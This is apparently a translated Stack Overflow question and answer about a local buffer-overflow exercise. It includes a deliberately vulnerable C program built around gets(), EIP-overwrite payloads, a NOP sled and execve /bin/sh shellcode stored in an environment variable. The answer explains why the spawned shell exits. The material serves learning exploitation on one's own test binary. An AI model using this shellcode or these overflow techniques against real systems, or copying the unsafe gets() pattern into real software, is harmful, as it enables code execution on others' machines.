为什么我无法执行存储在环境变量中的 shellcode?p>
问题
我正在尝试通过缓冲区溢出来执行存储在环境变量中的shellcode,引用 Hacking: The Art of Exploitation, 2nd Edition .
我获得了 EIP 并将 shellcode 存储在环境变量中,但无法执行。
主机操作系统:windows10 64位
guestOS(虚拟机):Linux kali 5.7.0-kali1-amd64
CPU:酷睿i7-2670QM
内存:8GB
我做了什么
我制作了一个源代码(/media/sf_share/ctf/ctest/bof3.c),该代码存在缓冲区溢出漏洞。
[hoge@kali] /media/sf_share/ctf/ctest
% cat ./bof3.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void jmphere(char* v) {
printf("jumped\n");
}
void vuln(){
char a[32];
printf("give me a word.\n");
gets(a);
printf("You typed %s\n", a);
printf("jumping to 0x%x !\n",__builtin_return_address(0));
}
int main(int argc, char *argv[]) {
vuln();
return 0;
}
编译如下。
[hoge@kali] /media/sf_share/ctf/ctest
% gcc -m32 -g -O0 -fno-stack-protector -z execstack ./bof3.c -o ./bof3
./bof3.c: In function ‘vuln’:
./bof3.c:12:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
12 | gets(a);
| ^~~~
| fgets
/usr/bin/ld: /tmp/ccAhKY66.o: in function `vuln':
/media/sf_share/ctf/ctest/./bof3.c:12: 警告: the `gets' function is dangerous and should not be used.
ASLR 已禁用。
[hoge@kali] /media/sf_share/ctf/ctest
% sudo sysctl -w kernel.randomize_va_space=0
[sudo] hoge のパスワード:
kernel.randomize_va_space = 0
通过gdb查找到返回地址的偏移量(44字节)和jmhere函数的地址(0x565561b9),成功控制了EIP。
[hoge@kali] /media/sf_share/ctf/ctest
% python -c 'print("a"*44+"\xb9\x61\x55\x56")'|./bof3
give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�aUV
jumping to 0x565561b9 !
jumped
zsh: done python -c 'print("a"*44+"\xb9\x61\x55\x56")' |
zsh: segmentation fault ./bof3
问题
接下来,我尝试将 shellcode 存储在环境变量(MYSHELLCODE)中,并尝试启动/bin/sh。 shellcode来自here
[hoge@kali] /media/sf_share/ctf/ctest
% cat ./env_shellcode-2.sh
#!/bin/sh
nopsled=$(perl -e 'print "\x90"x200')
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
total=$nopsled$shellcode
export MYSHELLCODE=$(echo $total)
echo $MYSHELLCODE |xxd
[hoge@kali] /media/sf_share/ctf/ctest
% source env_shellcode-2.sh
00000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000010: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
000000c0: 9090 9090 9090 9090 31c0 5068 2f2f 7368 ........1.Ph//sh
000000d0: 682f 6269 6e89 e389 c189 c2b0 0bcd 8031 h/bin..........1
000000e0: c040 cd80 0a .@...
我用gdb查找了MYSHELLCODE的地址,并试图通过跳转到它周围来执行shellcode,但它不起作用。 /bin/sh 没有启动,程序正常完成如下。
谁能解释一下如何执行代码?
gdb-peda$ x/10s $esp+1900
(omitted)
0xffffdea2: "MYSHELLCODE=", '\220' <repeats 188 times>...
0xffffdf6a: '\220' <repeats 12 times>, "\061\300Ph//shh/bin\211\343\211\301\211°\v1\300@"
(omitted)
gdb-peda$ q
[hoge@kali] /media/sf_share/ctf/ctest
% python -c 'print("a"*44+"\xe2\xde\xff\xff")'|./bof3
give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa����
jumping to 0xffffdee2 !
最佳答案
好消息!您的 Python 有效负载(假设它是 Python 2)或使用环境变量没有任何问题。这个问题实际上是别的问题(稍后解释)。
首先,您可以通过将 shellcode 中的“sh”更改为其他内容来验证您的代码是否跳转到正确的地址。例如,我的机器上有 /bin/pi
,所以我将代码更改为
shellcode="\x31\xc0\x50""h//pi""h/bin""\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
并且,在使用 Scanmem/GameConqueror 找到正确的地址(您的地址可能不同)后,我将其输出
give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa����
jumping to 0xffffdfb3 !
3.141592653589793238462643383279502884197169399375105820974944592307816406286208998628034825342117067
为什么不ls
?
如果将 sh
更改为 ls
,或 GNU Coreutils 中的任何其他程序,您将收到以下消息:
A NULL argv[0] was passed through an exec system call.
虽然这确实表明 shellcode 正在执行,但它远不如 pi
令人满意。 (该消息已解释here。)
那么为什么 sh
不起作用呢?
这个answer更深入地解释发生了什么:
When the shellcode execve(/bin/sh) executes, it has no connected standard input (because of GETS) and will terminate.
因此,如果您对让 sh
正常工作感到满意,只需在 gets
之后添加以下内容即可:
#include <sys/fcntl.h>
...
gets(a);
...
// Close STDIN
close(0);
// Open /dev/tty
open("/dev/tty", O_RDWR | O_NOCTTY);
...
但是,如果您想保持程序不变,则必须修改您的 shellcode 或有效负载。我上面提到的答案显示了修改后的有效负载的示例,但由于看起来您是通过覆盖返回地址来直接调用地址,因此您必须将系统调用添加到 close
STDIN
和 open
/dev/tty
到您的 shellcode。
关于python - 为什么我无法执行存储在环境变量中的 shellcode?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/63485751/